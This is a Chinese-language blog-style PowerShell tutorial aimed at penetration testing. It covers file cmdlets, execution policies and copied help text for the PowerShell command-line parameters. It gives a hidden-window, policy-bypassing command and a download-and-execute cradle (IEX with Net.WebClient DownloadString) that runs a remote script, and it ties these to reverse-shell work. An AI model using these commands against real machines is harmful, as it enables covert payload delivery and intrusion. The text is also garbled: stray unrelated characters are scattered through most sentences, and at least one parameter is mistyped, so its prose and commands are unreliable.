文件操作
#新建目錄
New-Item test -ItemType Directory
#新建文件
New-Item test.txt -ItemType File
#刪除目錄
Remove-Item test
#顯示文件內(nèi)容
Get-Content test.txt
#設(shè)置文本內(nèi)容
Set-Content test.txt -Value "Hello World!"
#追加內(nèi)容
Add-Content test.txt -Value "Hello Rabbit!"
#清除內(nèi)容
Clear-Content test.txt
是不是很枯燥的又看了一眼阁簸?然而網(wǎng)上對以上所謂簡單的命令錯的五花八門锚贱,無腦復(fù)制粘貼,包括筆者一直推薦的《Web安全攻防》中對以上命令的描述:
P264菠发,一共幾條命令,少了四個空格贺嫂,這樣做對小白真的好么滓鸠?看了這么多年代碼,hell,world!
什么鬼第喳?
也希望這個圈子更加務(wù)實糜俗,切莫浮躁,在此手動@MS08067曲饱。
執(zhí)行策略
#獲取執(zhí)行策略
Get-ExecutionPolicy
- Restricted: 腳本不能執(zhí)行(默認(rèn))
- RemoteSigned: 本地創(chuàng)建的腳本可以運行悠抹,但從網(wǎng)上下載的腳本不能運行(擁有數(shù)字證書簽名的除外)。
- AllSigned: 僅當(dāng)腳本由受信任的發(fā)布者簽名時才能運行扩淀。
- Unrestricted: 允許所有的script運行
早在之前《有染PHPStudy_BackDoor》powershell反彈shell操作中我們也提到了楔敌,PC的默認(rèn)策略是不可執(zhí)行腳本,即我們這里的Restricted
策略驻谆,當(dāng)時因為是本地生成卵凑,所以我們使用了Set-ExecutionPolicy RemoteSigned
來更改策略以運行ps腳本庆聘。
但是,如果是還沒有提權(quán)的遠(yuǎn)程目標(biāo)卻是不支持的勺卢,因為變更策略需要管理員權(quán)限伙判。
所以還有一種策略就是ExecutionPolicy Bypass
,即繞過當(dāng)前執(zhí)行策略,無障礙運行腳本黑忱。
#運行本地腳本
PowerShell.exe -ExecutionPolicy Bypass -File bs64.ps1
#無窗口運行本地腳本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File bs64.ps1
###下載遠(yuǎn)程腳本并運行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Nonl IEX (New-Object Net.WebClient).DownloadString("http://127.0.0.1/bs64.ps1");bs64
第三種情況在《有染PHPStudy_BackDoor》powershell反彈shell時也用到了宴抚,順便一提,ExecutionPolicy
與Exec
等價甫煞。
幫助文檔
最后丟個官方文檔菇曲,方便大家檢索。
-PSConsoleFile
加載指定的 Windows PowerShell 控制臺文件抚吠。若要創(chuàng)建控制臺
文件常潮,請在 Windows PowerShell 中使用 Export-Console。
-Version
啟動指定版本的 Windows PowerShell埃跷。
使用參數(shù)輸入版本號蕊玷,如 "-version 2.0"邮利。
-NoLogo
啟動時隱藏版權(quán)標(biāo)志弥雹。
-NoExit
運行啟動命令后不退出。
-Sta
使用單線程單元啟動 shell延届。
單線程單元(STA)是默認(rèn)值剪勿。
-Mta
使用多線程單元啟動 shell。
-NoProfile
不加載 Windows PowerShell 配置文件方庭。
-NonInteractive
不向用戶顯示交互式提示厕吉。
-InputFormat
描述發(fā)送到 Windows PowerShell 的數(shù)據(jù)的格式。有效值為
"Text" (文本字符串)或 "XML" (序列化的 CLIXML 格式)械念。
-OutputFormat
確定如何設(shè)置 Windows PowerShell 輸出內(nèi)容的格式头朱。有效值
為 "Text" (文本字符串)或 "XML" (序列化的 CLIXML 格式)。
-WindowStyle
將窗口樣式設(shè)置為 Normal龄减、Minimized项钮、Maximized 或 Hidden。
-EncodedCommand
接受 base-64 編碼字符串版本的命令希停。使用此參數(shù)
向 Windows PowerShell 提交需要復(fù)雜引號
或大括號的命令烁巫。
-ConfigurationName
指定運行 Windows PowerShell 的配置終結(jié)點。
該終結(jié)點可以是在本地計算機(jī)上注冊的任何終結(jié)點宠能,包括
默認(rèn)的 Windows PowerShell 遠(yuǎn)程處理終結(jié)點或具有特定用戶角色功能
的自定義終結(jié)點亚隙。
-File
在本地作用域("dot-sourced")中運行指定的腳本,以便
腳本創(chuàng)建的函數(shù)和變量可以在當(dāng)前
會話中使用违崇。輸入腳本文件路徑和任何參數(shù)阿弃。
File 必須是命令中的最后一個參數(shù)诊霹,因為在 File 參數(shù)
名稱后面鍵入的所有字符都將解釋
為后跟腳本參數(shù)的腳本文件路徑。
-ExecutionPolicy
設(shè)置當(dāng)前會話的默認(rèn)執(zhí)行策略恤浪,并將其保存
在 $env:PSExecutionPolicyPreference 環(huán)境變量中畅哑。
該參數(shù)不會更改在注冊表中
設(shè)置的 Windows PowerShell 執(zhí)行策略。
-Command
執(zhí)行指定的命令(和任何參數(shù))水由,就好像它們是
在 Windows PowerShell 命令提示符下鍵入的一樣荠呐,然后退出,除非
指定了 NoExit砂客。Command 的值可以為 "-"泥张、字符串或
腳本塊。
如果 Command 的值為 "-"鞠值,則從標(biāo)準(zhǔn)輸入中讀取
命令文本媚创。
如果 Command 的值為腳本塊,則腳本塊必須
用大括號({})括起來彤恶。只有在 Windows PowerShell 中運行 PowerShell.exe 時钞钙,
才能指定腳本塊。腳本塊的結(jié)果將作為反序列化的 XML 對象
(而非活動對象)返回到父 Shell声离。
如果 Command 的值為字符串芒炼,則 Command 必須是命令中的
最后一個參數(shù),因為在命令后面鍵入的所有字符
都將解釋為命令參數(shù)术徊。
若要編寫運行 Windows PowerShell 命令的字符串本刽,請使用以下格式:
"& {<命令>}"
其中,引號表示一個字符串赠涮,調(diào)用運算符(&)
導(dǎo)致執(zhí)行命令子寓。